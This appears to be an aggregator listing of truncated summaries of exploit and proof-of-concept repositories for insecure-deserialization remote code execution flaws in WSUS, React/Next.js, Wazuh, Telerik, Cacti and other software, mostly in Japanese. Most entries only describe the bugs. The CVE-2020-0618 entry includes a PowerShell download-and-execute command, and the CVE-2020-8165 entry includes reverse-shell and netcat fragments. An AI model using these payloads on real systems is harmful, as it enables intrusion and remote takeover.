ermir

Ermir Ermir は Evil/Rogue RMI Registry（悪意のある/不正なRMIレジストリ）であり、標準的なRMIメソッド（list/lookup/bind/rebind/unbind）を呼び出す任意のJavaコード上の安全でないデシリアライゼーションを悪用します。 要件 Ruby v3 またはそれ以上。 インストール rubygems.org から Ermir をインストール: root@kitploit: $ gem install ermir または、リポジトリをクローンしてgemをビルド: root@kitploit: $ git clone...

CVE-2025-59287

本研究では、Microsoft Windows Server Update Services WSUS 環境で発見された重大な脆弱性（CVE-2025-59287）について調査します。この脆弱性は、GetCookie エンドポイントに送信された AuthorizationCookie オブジェクトの安全でない逆シリアル化に起因します。暗号化された Cookie データは AES-128-CBC を使用して復号化され、その後、適切な型検証なしに BinaryFormatter を介して逆シリアル化されるため、SYSTEM 権限でのリモートコード実行が可能になります。 この EXP...

CVE-2025-53691

CVE-2025-53691：安全でないデシリアライゼーションによるリモートコード実行（RCE） AjaxScriptManager 内の同じリフレクションメカニズムを使用して、ProcessSerializedData メソッドを呼び出すことができます。このメソッドは、安全でない BinaryFormatter を使用して提供されたペイロードをデシリアライズし、RCE につながります。攻撃者は、悪意のあるシリアライズ済みオブジェクトを作成して、サーバー上で任意のコマンドを実行できます。 リモートコード実行： 攻撃者は CVE-2025-53691...

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six リモートコード実行 RCE -orange 警告 – 教育目的のみでの使用 この概念実証コードは、許可されたセキュリティテストおよび教育目的のみを対象としています。 自身が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。著者は、このコードによって引き起こされた誤用または損害について一切の責任を負いません。 説明 CVE-2025-64512 は、PDFファイルからテキストやメタデータを抽出する人気のPythonライブラリ pdfminer.six...

CVE-2020-0618

CVE-2020-0618 Melissa https://status.melissa.com/ReportServerCUSTOMERSQL/Pages/ReportViewer.aspx - 脆弱性のあるリンク $command = 'New-Object Net.WebClient.Proxy.Credentials=Net.CredentialCache::DefaultNetworkCredentials;iwr"https://qoigyuef2a4z1a7rsir6lvi3eukl8a.burpcollaborator.net/In"|iex' $bytes =...

react2shellVulnApp

React2Shell 脆弱性バンキングアプリケーションラボ CVE-2025-55182（React）および CVE-2025-66478（Next.js）を対象とした、意図的に脆弱性を含むバンキングアプリです。React2Shell を学び、検出し、安全に試すために設計されています。パッチ未適用の React 19.0.0 と Next.js 15.0.3 で動作します。 概要 Next.js App Router と Server Actions で構築された架空の SecureBank です。 デフォルト構成であり、独自の危険なコードはなく、意図的にパッチ未適用のままになっていま...

CVE-2025-24016

Wazuh リモートコード実行 RCE - PoC 脆弱性の概要 このリポジトリは、wazuh-manager パッケージ内の安全でないデシリアライゼーションによって引き起こされる Wazuh サーバーのリモートコード実行 RCE 脆弱性を示しています。この脆弱性により、API アクセスを持つリモート攻撃者（侵害されたダッシュボード、クラスター内の Wazuh サーバー、または侵害されたエージェントを伴う特定の設定）がサーバー上で任意のコードを実行できるようになります。 影響を受けるバージョン wazuh-manager バージョン = 4.4.0 バージョン = 4.9.1 で修正済み...

CVE-2022-48565-POC

CVE-2022-48565 PoC はじめに これは、Pythonにおける Plistファイルの安全でないデシリアライゼーション に基づく脆弱性 CVE-2022-48565 を実証する Proof of Concept（PoC）です。特別に細工された Property List（Plist）ファイルを処理することで、攻撃者は対象システム上で任意のコードを実行でき、リモートコード実行（RCE） につながる可能性があります。...

Telerik_CVE-2019-18935

TelerikUI Python 扫描器 telerikrcescan.py 示例 评估一个 IP 是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 评估一个主机名是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net 评估一个 CIDR 网络范围是否存在 CVE-2019-18935 $ python3 telerikrcescan.py -r 23.253.4.0/24 评估目标列表 $ python3...

CVE-2026-27475

CVE-2026-27475（CVSS-B 9.2 严重） SPIP 4.4.8 中经过身份验证的不安全反序列化漏洞 更多解释请访问我的网站 RCE Gadget Attacker plugins/rcegadget/rcegadgetoptions.php root@kitploit: DEBUG:\n"; echo "File: "; vardump$this-file; echo "Data: "; vardump$this-data; echo ""; fileputcontents$this-file, $this-data; die"PROOF"; 2. 以管理员身份登录 3...

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

Windows Server Update Service - Insecure Deserialization

Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise. id: CVE-2025-59287 info:...

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell（CVE-2025-55182）エクスプロイトツール 認可されたローカルテスト環境のみを対象に、重大な React2Shell 脆弱性（CVE-2025-55182 / CVE-2025-66478）を実証するための概念実証（PoC）ツールです。 ⚠️ 重大警告: 活発な悪用が進行中 この脆弱性（CVSS 10.0）は、高度な脅威アクターによって現在も活発に悪用されています。 Amazon Threat Intelligence によると、Earth Lamia や Jackpot Panda...

WSUS-CVE-2025-59287-RCE

WSUS-CVE-2025-59287-RCE CVE-2025-59287 は、重大（CVSS 9.8） のリモートコード実行（RCE）脆弱性であり、すべての Microsoft Windows Server Update Services（別名 WSUS）に影響を及ぼし、既に実際の攻撃で悪用されています。この脆弱性は GetCookie エンドポイントにおける安全でない逆シリアル化を悪用し、認証されていない攻撃者が完全な SYSTEM 権限で任意のコードを実行できるようにします。 使用方法 このリバースシェル PoC はとても簡単に使えます！ターゲット URL、攻撃者...

CVE-2026-9998-Insecure-Deserialization-in-Blockchain-Oracle

10. CVE-2026-9998 – ブロックチェーンオラクルにおける安全でないデシリアライゼーション 概要 ブロックチェーンオラクルノードが、スマートコントラクトイベントからのデータをPythonの pickle を使用してデシリアライズするため、攻撃者が任意のコマンドを実行できるようになります。 深刻度: 重大 ノード完全侵害 オラクルのシミュレーションとエクスプロイト root@kitploit: !/usr/bin/env python3 """ vulnerableoracle.py - Oracle node that listens to events and...

CVE-2020-8165

CVE-2020-8165 Python Exploit これはPython3を使用してCVE-2020-8165を悪用するコードです。このエクスプロイトはrails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" 主なクレジット 元のCVE詳細：https://vulners.com/cve/CVE-2020-8165...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - 安全でないデシリアライゼーションによるリモートコード実行。 タイムライン ベンダーへの脆弱性報告: 22.09.2023 修正版 1.1.9.4 のリリース: 08.12.2023 公開開示: 15.12.2023 説明 IBM i Access Client Solutions は、パスワードの保存とパスワード暗号化の復号キー取得に安全でないデシリアライゼーションを使用しています。これは、ローカルまたはリモートの攻撃者によってコード実行に利用される可能性があります。...

CVE-2025-1337-PoC

CVE-2025-1337 の PoC LogServ v1.2 サービスにおけるリモートコード実行（RCE）の脆弱性の概念実証。 脆弱性の詳細 CVE: CVE-2025-1337 ソフトウェア: LogServ v1.2 タイプ: sessiondata Cookieにおけるセッションオブジェクトの安全でないデシリアライズ。 影響: 認証されていない攻撃者が悪意のあるCookieを送信し、サーバー上で任意のコードを実行できる。 ステータス スクリプトは機能しますが不安定です。実際の環境では使用しないでください。...